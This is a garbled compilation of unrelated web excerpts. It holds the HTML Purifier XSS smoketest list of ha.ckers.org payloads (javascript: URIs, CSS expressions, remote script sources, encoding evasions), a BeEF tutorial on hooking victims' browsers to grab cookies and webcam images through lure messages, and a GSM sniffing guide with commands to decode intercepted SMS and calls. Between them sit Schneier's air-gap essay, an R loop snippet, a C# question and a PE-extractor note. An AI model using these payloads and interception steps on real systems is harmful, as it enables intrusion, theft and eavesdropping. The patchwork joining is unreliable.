HTML Purifier XSS Attacks Smoketest ( http://htmlpurifier.org/live/smoketests/xssAttacks.php)

HTML Purifier XSS Attacks Smoketest

XSS attacks are from http://ha.ckers.org/xss.html.
Caveats: Google.com has been programatically disallowed, but as you can see, there are ways of getting around that, so coverage in this area is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. The displayed code is not strictly correct, as linebreaks have been forced for readability. Linewraps have been marked with ». Some tests are omitted for your convenience. Not all control characters are displayed.

Test

Name	Raw	Output	Render
XSS Locator	';alert(String.fromCharCode( » 88,83,83))//\';alert(String. » fromCharCode(88,83,83))//";a » lert(String.fromCharCode(88, » 83,83))//\";alert(String.fro » mCharCode(88,83,83))//-->

» CRIPT>">'>» >

SCRIPT w/Source File

SCRIPT w/Char Code

BASE

»

HREF="javascript:alert('XSS' » );//">

BGSOUND

»

SRC="javascript:alert('XSS') » ;">

BODY background-image

»

BACKGROUND="javascript:alert » ('XSS');">

BODY ONLOAD

DIV background-image 1

»

STYLE="background-image: » url(javascript:alert('XSS')) » ">

DIV background-image 2

»

STYLE="background-image: » url(
javascript:alert('XS » S'))">

DIV expression

»

expression(alert('XSS'));">

FRAME

»

SRC="javascript:alert('XSS') » ;">

IFRAME

INPUT Image

»

SRC="javascript:alert('XSS') » ;">

IMG w/JavaScript Directive

»

SRC="javascript:alert('XSS') » ;">

IMG No Quotes/Semicolon

»

SRC=javascript:alert('XSS')>

IMG Dynsrc

»

DYNSRC="javascript:alert('XS » S');">

IMG Lowsrc

»

LOWSRC="javascript:alert('XS » S');">

IMG Embedded commands 1

»

SRC="http://www.thesiteyouar » eon.com/somecommand.php?some » variables=maliciouscode">

»

src="http://www.thesiteyouar » eon.com/somecommand.php?some » variables=maliciouscode" » alt="somecommand.php?somevar » iables=maliciousc" />

IMG STYLE w/expression

exp/*»

STYLE='no\xss:noxss("*//*"); » xss:ex/*XSS*//*/* » /pression(alert("XSS"))'>

exp/*

exp/*

List-style-image

XSS

XSS

• XSS

IMG w/VBscript

»

SRC='vbscript:msgbox("XSS")' » >

LAYER

»

SRC="http://ha.ckers.org/scr » iptlet.html">

Livescript

»

SRC="livescript:[code]">

US-ASCII encoding

scriptalert(XSS)/script »

scriptalert(XSS)/script

scriptalert(XSS)/script

META

»

CONTENT="0;url=javascript:al » ert('XSS');">

META w/data:URL

»

CONTENT="0;url=data:text/htm » l;base64,PHNjcmlwdD5hbGVydCg » nWFNTJyk8L3NjcmlwdD4K">

META w/additional URL parameter

»

CONTENT="0; » URL=http://;URL=javascript:a » lert('XSS');">

Mocha

OBJECT

OBJECT w/Embedded XSS

Embed Flash

»

SRC="http://ha.ckers.org/xss » .swf" » AllowScriptAccess="always">< » /EMBED>

STYLE

STYLE w/Comment

»

STYLE="xss:expr/*XSS*/ession » (alert('XSS'))">

STYLE w/Anonymous HTML

»

STYLE="xss:expression(alert( » 'XSS'))">

STYLE w/background-image

»

CLASS=XSS>

STYLE w/background

Stylesheet

»

HREF="javascript:alert('XSS' » );">

Remote Stylesheet 1

»

HREF="http://ha.ckers.org/xs » s.css">

Remote Stylesheet 2

Remote Stylesheet 3

»

Content="» g/xss.css>; REL=stylesheet">

Remote Stylesheet 4

TABLE

»

BACKGROUND="javascript:alert » ('XSS')">

TD

»

BACKGROUND="javascript:alert » ('XSS')">

XML namespace

»

namespace="xss" » implementation="http://ha.ck » ers.org/xss.htc"> X » SS

<?import namespace="xss" »
implementation="http://ha.ck »
ers.org/xss.htc">
XSS

XSS

XML data island w/CDATA

»

ID=I><![CDATA[» SRC="javas]]><![CDATA[cript: » alert('XSS');">]]> » » DATAFLD=C DATAFORMATAS=HTML>

<IMG »
SRC="javascript:alert('XSS') »
;">

XML data island w/comment

»

SRC="javascript:alert('XSS')">< » /I> » DATASRC="#xss" DATAFLD="B" » DATAFORMATAS="HTML">

»

alt="javas<!-- » -->cript:alert('XSS')" » />

XML (locally hosted)

»

SRC="http://ha.ckers.org/xss » test.xml" ID=I> » DATASRC=#I DATAFLD=C » DATAFORMATAS=HTML>

XML HTML+TIME

»

prefix="t" » ns="urn:schemas-microsoft-co » m:time"> » namespace="t" » implementation="#default#tim » e2"> » attributeName="innerHTML" » to="XSS" » >

<?xml:namespace »
prefix="t" »
ns="urn:schemas-microsoft-co »
m:time">

<?import »
namespace="t" »
implementation="#default#tim »
e2">

Commented-out Block

Cookie Manipulation

»

HTTP-EQUIV="Set-Cookie" » Content="USERID=">

Local .htc file

»

url(http://ha.ckers.org/xss. » htc);">

Rename .js to .jpg

SSI

PHP

»

echo('aler » t("XSS")'); ?>

<? echo('alert("XSS")'); »
?>

JavaScript Includes

Character Encoding Example

<
%3C
&lt
<
&LT
<
&#60 »

&#060
&#0060

&#00060
&#000 »
060
&#0000060
<
<
& »
#0060;
<
<
&# »
0000060;
&#x3c
&#x03c
&#x003 »
c
&#x0003c
&#x00003c
&#x0000 »
03c
<
<

< »

<
<
&#x000 »
003c;
&#X3c
&#X03c
&#X003c
& »
#X0003c
&#X00003c
&#X000003c »

<
<
<
&#X »
0003c;
<
&#X000003c »
;
&#x3C

&#x03C
&#x003C
&#x0 »
003C
&#x00003C
&#x000003C
&# »
x3C;
<
<
&#x000 »
3C;
<
<
& »
#X3C
&#X03C
&#X003C
&#X0003C »

&#X00003C
&#X000003C

&#X3C »
;
<
<
< »

<
<
\x3c »

\x3C
\u003c
\u003C

<
%3C
&lt
<
&L »
T
&LT;
<
<
<

& »
lt;
<
<
<
<
< »

<
<
<
<
<
&l »
t;
<
<
<
<
<
 »

<
<
<
<
<
&l »
t;
<
<
<
<
<
 »
<
<
<
<
<
&lt »
;

<
<
<
<
<
 »
<
<
<
<
<
&lt »
;
<
<
<
<
<
& »
lt;

<
<
<
<
&lt »
;
<
\x3c
\x3C
\u003c
\u00 »
3C

< %3C &lt < &LT < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C

Case Insensitive

»

SRC=JaVaScRiPt:alert('XSS')>

HTML Entities

»

SRC=javascript:alert("X » SS")>

Grave Accents

»

SRC=`javascript:alert("RSnak » e says, 'XSS'")`>

»

src="%60javascript%3Aalert(" » alt="`javascript:alert(&quot » ;RSnake" />

Image w/CharCode

»

SRC=javascript:alert(String. » fromCharCode(88,83,83))>

UTF-8 Unicode Encoding

»

SRC=java&# » 115;crip& » #116;:ale& » #114;t('X&# » 83;S')>

Long UTF-8 Unicode w/out Semicolons

»

SRC=&#0000106&#0000097&#0000 » 118&#0000097&#0000115&#00000 » 99&#0000114&#0000105&#000011 » 2&#0000116&#0000058&#0000097 » &#0000108&#0000101&#0000114& » #0000116&#0000040&#0000039&# » 0000088&#0000083&#0000083&#0 » 000039&#0000041>

DIV w/Unicode

»

STYLE="background-image:\007 » 5\0072\006C\0028'\006a\0061\ » 0076\0061\0073\0063\0072\006 » 9\0070\0074\003a\0061\006c\0 » 065\0072\0074\0028.1027\0058 » .1053\0053\0027\0029'\0029">

Hex Encoding w/out Semicolons

»

SRC=&#x6A&#x61&#x76&#x61&#x7 » 3&#x63&#x72&#x69&#x70&#x74&# » x3A&#x61&#x6C&#x65&#x72&#x74 » &#x28&#x27&#x58&#x53&#x53&#x » 27&#x29>

UTF-7 Encoding

»

HTTP-EQUIV="CONTENT-TYPE" » CONTENT="text/html; » charset=UTF-7"> » +ADw-SCRIPT+AD4-alert » ('XSS');+ADw-/SCRIPT+AD4-

+ADw-SCRIPT+AD4-alert('XSS') »
;+ADw-/SCRIPT+AD4-

+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

Escaping JavaScript escapes

\";alert('XSS');//

\";alert('XSS');//

\";alert('XSS');//

End title tag

STYLE w/broken up JavaScript

Embedded Tab

»

SRC="jav\tascript:alert('XSS' » );">

»

src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />

Embedded Encoded Tab

»

SRC="jav ascript:alert( » 'XSS');">

»

src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />

Embedded Newline

»

SRC="jav ascript:alert( » 'XSS');">

»

src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />

Embedded Carriage Return

»

SRC="jav ascript:alert( » 'XSS');">

»

src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />

Multiline w/Carriage Returns

»

p t : a l e r t ( ' X S S ' » ) " >

»

src="j%20a%20v%20a%20s%20c%2 » 0r%20i%20p%20t%20%3A%20a%20l » %20e%20r%20t%20(%20'%20X%20S » %20S%20'%20)" alt="j a v a s » c r i p t : a l e r t ( ' X » S" />

Null Chars 1

»

SRC=java\0script:alert("XSS") » >

Null Chars 2

&\0

IPT>alert("XSS")\0 » IPT>

&

&

Spaces/Meta Chars

»

javascript:alert('XSS');">

Non-Alpha/Non-Digit

Non-Alpha/Non-Digit Part 2

»

onload!#$%&()*~+-_.,:;?@[/|\ » ]^`=alert("XSS")>

No Closing Script Tag

Evade Regex Filter 1

Evade Regex Filter 2

Evade Regex Filter 3

Evade Regex Filter 4

Evade Regex Filter 5

Filter Evasion 1

PT »
SRC="http://ha.ckers.org/xss »
.js">

PT »
SRC="http://ha.ckers.org/xss »
.js">

PT SRC="http://ha.ckers.org/xss.js">

Filter Evasion 2

IP Encoding

»

HREF="http://66.102.7.147/"> » XSS

»

href="http://66.102.7.147/"> » XSS

XSS

URL Encoding

»

HREF="http://%77%77%77%2E%67 » %6F%6F%67%6C%65%2E%63%6F%6D" » >XSS

XSS

XSS

Dword Encoding

»

HREF="http://1113982867/">XS » S

XSS

XSS

Hex Encoding

»

HREF="http://0x42.0x0000066. » 0x7.0x93/">XSS

XSS

XSS

Octal Encoding

»

HREF="http://0102.0146.0007. » 00000223/">XSS

XSS

XSS

Mixed Encoding

»

HREF="h tt\tp://6 6.00014 » 6.0x7.147/">XSS

»

href="h%20tt%20p%3A//6%206.0 » 00146.0x7.147/">XSS

XSS

Protocol Resolution Bypass

»

HREF="//www.google.com/">XSS »

XSS

XSS

Firefox Lookups 1

XSS

XSS

XSS

Firefox Lookups 2

»

HREF="http://ha.ckers.org@go » ogle">XSS

»

href="http://google">XSS

XSS

Firefox Lookups 3

»

HREF="http://google:ha.ckers » .org">XSS

»

href="http://google">XSS

XSS

Removing Cnames

»

HREF="http://google.com/">XS » S

XSS

XSS

Extra dot for Absolute DNS

»

HREF="http://www.google.com. » /">XSS

XSS

XSS

JavaScript Link Location

»

HREF="javascript:document.lo » cation='http://www.google.co » m/'">XSS

XSS

XSS

Content Replace

»

HREF="http://www.gohttp://ww » w.google.com/ogle.com/">XSS< » /A>

»

href="http://www.gohttp//www » .google.com/ogle.com/">XSS</ » a>

XSS

 

Beatles - Yellow Submarine

   Web App Hacking (Hackers Handbook).pdf by Elsa Cristina David

http://fortay.teknikata.com/infosec/Web%20App%20Hacking%20%28Hackers%20Handbook%29.pdf

How to Hack Web Browsers with BeEF

I will introduce you to new hacking tools and techniques, though, one tool that we will be using in all of those areas is called the Browser Exploitation Framework, or BeEF (don't ask me what the lowercase "e" stands for).

Similar to Metasploit, BeEF is a framework for launching attacks. Unlike Metasploit, it is specific to launching attacks against web browsers. In some cases, we will be able to use BeEF in conjunction with Metasploit to launch particular attacks, so I think its time for us to become familiar with it.

BeEF was developed by a group of developers led by Wade Alcorn. Built on the familiar Ruby on Rails platform, BeEF was developed to explore the vulnerabilities in browsers and test them. In particular, BeEF is an excellent platform for testing a browser's vulnerability to cross-site scripting (XSS) and other injection attacks.

Step 1: Start Cooking BeEF
BeEF is built into Kali Linux, and it can be started as a service and accessed via a web browser on your localhost. So let's start by firing up Kali and cooking a bit of BeEF. Start the BeEF service by going to "Applications" -> "Kali Linux" -> "System Services" -> "BeEF" -> "beef start."

Step 2: Opening a Browser to BeEF
The BeEF server can be accessed via any browser on our localhost (127.0.0.1) web server at port 3000. To access its authentication page, go to:

http://localhost:3000/ui/authentication

The default credentials are "beef" for both username and password.

Great! Now you have successfully logged into BeEF and are ready to begin using this powerful platform to hack web browsers.

Note that in the screenshot below that my local browser, 127.0.0.1, appears in the left hand "Hooked Browsers" explorer after I clicked on the link to the demo page. BeEF also displays its "Getting Started" window to the right.

Step 3: Viewing Browser Details

If I click on the local browser, it will provide with more choices to the right including a "Details" window where we can get all the particulars of that browser. Since I am using the Iceweasel browser built into Kali, which is built upon Firefox, it shows me that the browser is Firefox.

It also shows me the version number (24), the platform (Linux i686), any components (Flash, web sockets, etc.), and more information that we will be able to use in later web application hacks.

Step 4: Hooking a Browser
The key to success with BeEF is to "hook" a browser. This basically means that we need the victim to visit a vulnerable web app. This injected code in the "hooked" browser then responds to commands from the BeEF server. From there, we can do a number of malicious things on the victim's computer.

BeEF has a JavaScript file called "hook.js," and if we can get the victim to execute it in a vulnerable web app, we will hook their browser! In future tutorials, we will look at multiple ways to get the victim's browser hooked.

In the screenshot below, I have "hooked" an Internet Explorer 6 browser on an old Windows XP on my LAN at IP 192.168.89.191.

Step 5: Running Commands in the Browser
Now, that we have hooked the victim's browser, we can use numerous built-in commands that can executed from the victim's browser. Below are just a few examples; there are many others.

• Get Visited Domains
• Get Visited URLs
• Webcam
• Get All Cookies
• Grab Google Contacts
• Screenshot

In the screenshot below, I selected the "Webcam" command that many of you may be interested in. As you can see, when I execute this command, an Adobe Flash dialog box will pop up on the screen of the user asking, "Allow Webcam?" If they click "Allow," it will begin to return pictures from the victim's machine to you.

Of course, the text can be customized, so be imaginative. For instance, you could customize the button to say "You have just won the lottery! Click here to collect your winnings!" or "Your software is out of date. Click here to update and keep your computer secure." Other such messages might entice the victim to click on the box.

Step 6: Getting Cookies
Once we have the browser hooked, there is almost unlimited possibilities of what we can do. If we wanted the cookies of the victim, we can go to "Chrome Extensions" and select "Get All Cookies" as shown in the screenshot below.

When we click on the "Execute" button to the bottom right, it will begin collecting all the cookies from the browser. Obviously, once you have the user's cookies, you are likely to have access to their websites as well.

BeEF is an extraordinary and powerful tool for exploiting web browsers. In addition to what I have shown you here, it can also be used to leverage operating system attacks. We will be using it and other tools in my new series on hacking web applications, mobile devices, and Facebook, so keep coming back, my greenhorn hackers.

References: @occupytheweb from Null Byte 

http://www.hackinsight.org/news,222.html

AIR GAPS

Since I started working with Snowden's documents, I have been using a number of tools to try to stay secure from the NSA. The advice I shared included using Tor, preferring certain cryptography over others, and using public-domain encryption wherever possible.
I also recommended using an air gap, which physically isolates a computer or local network of computers from the Internet. (The name comes from the literal gap of air between the computer and the Internet; the word predates wireless networks.)
But this is more complicated than it sounds, and requires explanation.
Since we know that computers connected to the Internet are vulnerable to outside hacking, an air gap should protect against those attacks. There are a lot of systems that use -- or should use -- air gaps: classified military networks, nuclear power plant controls, medical equipment, avionics, and so on.
Osama Bin Laden used one. I hope human rights organizations in repressive countries are doing the same.
Air gaps might be conceptually simple, but they're hard to maintain in practice. The truth is that nobody wants a computer that never receives files from the Internet and never sends files out into the Internet. What they want is a computer that's not directly connected to the Internet, albeit with some secure way of moving files on and off.
But every time a file moves back or forth, there's the potential for attack.
And air gaps have been breached. Stuxnet was a US and Israeli military-grade piece of malware that attacked the Natanz nuclear plant in Iran. It successfully jumped the air gap and penetrated the Natanz network. Another piece of malware named agent.btz, probably Chinese in origin, successfully jumped the air gap protecting US military networks.
These attacks work by exploiting security vulnerabilities in the removable media used to transfer files on and off the air-gapped computers.
Since working with Snowden's NSA files, I have tried to maintain a single air-gapped computer. It turned out to be harder than I expected, and I have ten rules for anyone trying to do the same:
1. When you set up your computer, connect it to the Internet as little as possible. It's impossible to completely avoid connecting the computer to the Internet, but try to configure it all at once and as anonymously as possible. I purchased my computer off-the-shelf in a big box store, then went to a friend's network and downloaded everything I needed in a single session. (The ultra-paranoid way to do this is to buy two identical computers, configure one using the above method, upload the results to a cloud-based anti-virus checker, and transfer the results of that to the air gap machine using a one-way process.)
2. Install the minimum software set you need to do your job, and disable all operating system services that you won't need. The less software you install, the less an attacker has available to exploit. I downloaded and installed OpenOffice, a PDF reader, a text editor, TrueCrypt, and BleachBit. That's all. (No, I don't have any inside knowledge about TrueCrypt, and there's a lot about it that makes me suspicious. But for Windows full-disk encryption it's that, Microsoft's BitLocker, or Symantec's PGPDisk -- and I am more worried about large US corporations being pressured by the NSA than I am about TrueCrypt.)
3. Once you have your computer configured, never directly connect it to the Internet again. Consider physically disabling the wireless capability, so it doesn't get turned on by accident.
4. If you need to install new software, download it anonymously from a random network, put it on some removable media, and then manually transfer it to the air-gapped computer. This is by no means perfect, but it's an attempt to make it harder for the attacker to target your computer.
5. Turn off all autorun features. This should be standard practice for all the computers you own, but it's especially important for an air-gapped computer. Agent.btz used autorun to infect US military computers.
6. Minimize the amount of executable code you move onto the air-gapped computer. Text files are best. Microsoft Office files and PDFs are more dangerous, since they might have embedded macros. Turn off all macro capabilities you can on the air-gapped computer. Don't worry too much about patching your system; in general, the risk of the executable code is worse than the risk of not having your patches up to date. You're not on the Internet, after all.
7. Only use trusted media to move files on and off air-gapped computers. A USB stick you purchase from a store is safer than one given to you by someone you don't know -- or one you find in a parking lot.
8. For file transfer, a writable optical disk (CD or DVD) is safer than a USB stick. Malware can silently write data to a USB stick, but it can't spin the CD-R up to 1000 rpm without your noticing. This means that the malware can only write to the disk when you write to the disk. You can also verify how much data has been written to the CD by physically checking the back of it. If you've only written one file, but it looks like three-quarters of the CD was burned, you have a problem. Note: the first company to market a USB stick with a light that indicates a write operation -- not read or write; I've got one of those -- wins a prize.
9. When moving files on and off your air-gapped computer, use the absolute smallest storage device you can. And fill up the entire device with random files. If an air-gapped computer is compromised, the malware is going to try to sneak data off it using that media. While malware can easily hide stolen files from you, it can't break the laws of physics. So if you use a tiny transfer device, it can only steal a very small amount of data at a time. If you use a large device, it can take that much more. Business-card-sized mini-CDs can have capacity as low as 30 MB. I still see 1-GB USB sticks for sale.
10. Consider encrypting everything you move on and off the air-gapped computer. Sometimes you'll be moving public files and it won't matter, but sometimes you won't be, and it will. And if you're using optical media, those disks will be impossible to erase. Strong encryption solves these problems. And don't forget to encrypt the computer as well; whole-disk encryption is the best.
One thing I didn't do, although it's worth considering, is use a stateless operating system like Tails. You can configure Tails with a persistent volume to save your data, but no operating system changes are ever saved. Booting Tails from a read-only DVD -- you can keep your data on an encrypted USB stick -- is even more secure. Of course, this is not foolproof, but it greatly reduces the potential avenues for attack.
Yes, all this is advice for the paranoid. And it's probably impossible to enforce for any network more complicated than a single computer with a single user. But if you're thinking about setting up an air-gapped computer, you already believe that some very powerful attackers are after you personally. If you're going to use an air gap, use it properly.
Of course you can take things further. I have met people who have physically removed the camera, microphone, and wireless capability altogether. But that's too much paranoia for me right now.
This essay previously appeared on Wired.com.
EDITED TO ADD: Yes, I am ignoring TEMPEST attacks. I am also ignoring black bag attacks against my home.

 https://www.schneier.com/blog/archives/2013/10/air_gaps.html

 Hm, you actually can install everything you need without connecting to Internet ever. Most of Linux distributions have offline installations made specially for this purpose. They include most of drives/packages available. And if that's not enough, you can easily add missing drivers/packages/software yourself.

R-COMMAND AND QUBIT AND PE FILES, AND SUBSTRINGS AND DECRYPTION

For loops may be nested, but when and why would we be using this? Suppose we wish to manipulate a bi-dimensional array by setting its elements to specific values; we might do something like this:
# nested for: multiplication table
mymat = matrix(nrow=30, ncol=30) # create a 30 x 30 matrix (of 30 rows and 30 columns)
for(i in 1:dim(mymat)[1]) # for each row
{
for(j in 1:dim(mymat)[2]) # for each column
{
mymat[i,j] = i*j # assign values based on position: product of two indexes
}
}

 https://www.datacamp.com/community/tutorials/tutorial-on-loops-in-r


One of the books I'm currently reading to learn C# asked me to write a method that takes an integer between 1 and 99999 and displays each number in that integer in a sequence, separating each digit by 2 spaces.
For example: the int 87564 would be written to the console as 8 7 5 6 4.
This is simple enough to do using the input as a string, converting it to a char array, or looping over the string with a foreach and printing out a formatted string for each character.
For fun though and mostly to challenge myself, I like to work out the problems as they are intended for someone just learning the concepts for the first time. The chapter was about methods and briefly introduced recursion. It's clearly the author's intent that you solve this using division and modulus operations to pick off each digit and then write them out.
So there really were limited options in terms of solving this with the material you have learned to this point in the book. You could pick off each digit and store it as it's own variable, then later write them out in order since you know the range of integers.
I decided to make the method more useful by really allowing any non-negative integer and my approach involved recursion. I'm not really experienced using recursion so I'd like to get some feedback on my implementation to see what I could have done better.

public class Program
{
    static void Main()
    {
        // Get User Input From Console
        // Validate and parse as int input
        DisplayDigits(input);
    }

    static void DisplayDigits(int value)
    {
        if (value < 10)
        {
            Console.Write("{0}  ", value);
            return;
        }
        DisplayDigits(value / 10);
        Console.Write("{0}  ", value % 10);
    }

 http://codereview.stackexchange.com/questions/41174/displaying-each-number-of-an-integer-in-a-sequence

 extract PE sections to separate files AND THEIR STRINGS

The script attached to this post allows to:

• extract PE sections to separate files

• extract strings from all sections providing a context for each string

• extract strings from all sections providing a context for each string, but in a bit smarter way i.e. excluding strings from sections named .rsrc/.reloc as they often contain a lot of strings that are just random data (e.g. from bitmaps or bytes by chance appearing to look like a ‘meaningful’ sequence of characters)

Notably, the string extraction excludes the appended data – this is a good news if you run the script over e.g. installers.  Installers, as explained in my older post, are very often setup.exe (stub) files with appended data that is compressed/encrypted and doesn’t provide any value to analysts unless decompressed/decrypted.
If the script fails to work, it is most likely a result of a packer/protector that makes some of the PE structures corrupted on purpose (e.g. using values outside reasonable boundaries that are still accepted by the Windows PE loader). The practical value of analysing sections/strings extracted from protected/packed/corrupted files is usually low, so I don’t add any checks in the scripts to detect such cases. Many of these techniques are discussed by Ange and he also offers practical examples – files that he crafted manually to test certain properties of PE files, so if you want to know more about this subject and perhaps improve the script his web site will give you all the info you need.
Btw. if you like python, you can easily toy around with Ero Carrera’s pefile module and re-create the script with the same/better functionality.
You can download PESectionExtractor.pl script here.

 http://www.hexacorn.com/blog/2012/09/02/pesectionextractor-extracting-pe-sections-and-their-strings/

Cracking and sniffing GSM with a RTL-SDR

a) Decoding an SMS:
Here are all the available configurations that are supported by airprobe:

     0C : TimeSlot0  "Combined configuration", with SDCCH/4
          (FCCH + SCH + BCCH + CCCH + SDCCH/4)
     0B : TS0  "FCCH + SCH + BCCH + CCCH"
     1S : TS1  SDCCH/8
     2T : TS2  (Full Rate) Traffic
     1TE: TS1  Enhanced Full Rate Traffic

As you can see these are the GSM configurations used in the different frames and you will have to be able to recognize each one to identify if you must use an airprobe configuration or another to decode the data of your call or SMS. If you look at the traffic in Wireshark but it doesn’t seem to be right (for example you made a call or sent a text message while capturing but the Ciphering Mode Command is missing) it is pretty sure that you are using the wrong configuration (0B instead of 0C or vise versa). It is important to try both and figure out which one is correct for the cell you are observing.
I will assume you sent a text message to yourself while capturing data.
So now you can see all the messages of the beacon channel, but what are you looking for in the Wireshark log? It is quite simple: first a “Paging Request” for the TMSI of the target phone, then a “Ciphering Mode Command”. These are the messages which indicate that a transaction actually happened.
Now to continue with the flow it is best to try to decode the same cfile but now giving the key too to go.sh:

./go.sh capture.cfile 64 0C KEY

I will explain how to get the Kc key with my method in a later thread.
What are we looking for now? Well, it depends on the network: either there is an “Immediate Assignment” telling the phone to move to different timeslot (so they are not using the busy beacon channel to do their business) or you will actually be able to see the text message.
If instead of the SMS you find an “Immediate Assignment” message you need to open it and see which timeslot the phone is being commanded to and then you need to decode that timeslot using go.sh. So, for example if it says that the phone needs to go to Timeslot 2 then your command would be:

./go.sh capture.cfile 64 2S KEY

Notice that I did not only change the Timeslot number from 0 to 2, but also the configuration from C to S, because the target phone is now on a Standalone Dedicated Control Channel (SDCCH), not on the beacon channel so we need to decode it differently.
Also worth noting that SMS messages are almost always sent on the Control Channel not on the Traffic Channel.
Here is a flowchart of the whole process to make it easier to understand (naturally since we can only see the downlink this shows only what happens on the downlink):

b) Decoding a Voice call:
Now that we were able to decode an SMS let’s get to something a little bit harder: decoding a voice call!
Well the first step is the same as it was when we decoded a text message: we look at the beacon channel, Timeslot 0:

./go.sh capture.cfile 64 0C

What do we expect to see? Nothing besides the “Cipher Mode Command” because we didn’t provide the key, so let’s do that:

./go.sh capture.cfile 64 0C KEY

All right, what should we see now? Logically there needs to be an “Immediate Assignment” command, because the phone NEEDS to change at least once to a different timeslot to receive voice data (to a Traffic Channel, Timeslot 1-7).  What we saw when decoding the SMS is correct here too: depending on the network configuration we can see some messages about the call setup (if it is an incoming call we can even see the caller ID – the phone number calling our target) then an “Immediate Assignment” (configuration ‘C’ – combined) or we can only see an “Immediate Assignment” directing the phone to a Control Channel (just like it happened when receiving an SMS, configuration ‘B’).
Of course if you follow the phone to the Control Channel you will see the call setup messages (in case of an incoming call) then another “Immediate Assignment” command, this time directing the phone to a Traffic Channel.
Here is again a flow chart showing the process:

Now there is only one question left: how do we decode the traffic channel to actually get the voice data? Again, it is something that depends on the network: if the network uses simply Full Rate Speech then you can do the same what has been written in Srlabs’s tutorial:

./go.sh capture.cfile 64 1T KEY

What does this command do? It decodes Timeslot 1 as a Traffic Channel. We know what timeslot to decode from the “Immediate Assignment” command message, T means Full Rate Speech. The command results in a file called “speech.au.gsm”, which needs to be converted to .au file using ‘toast’:

toast -d speech.au.gsm

The toast tool is a software to convert files and I will explain the setup process of this software on another thread. The resulting .au file could be played back using any player, e.g. cvlc (Command Line VLC):

cvlc speech.au

So you must download and install VLC player too.
If you can not hear anything but beeps and other weird noises then there is a pretty good chance that the cell is using Enhanced Full Rate Speech instead of simple Full Rate Speech.
To decode the channel as an Enhanced Full Rate Speech Traffic Channel:

./go.sh capture.cfile 64 1TE KEY

This results in a file called “speech.amr” which could be played back without any more modifications using for example Commandline VLC:

cvlc speech.amr

All the threads related to this topic will be classified under the category of GSM software setup!!! You can read them on the first page!!!

 https://ferrancasanovas.wordpress.com/cracking-and-sniffing-gsm-with-rtl-sdr-concept/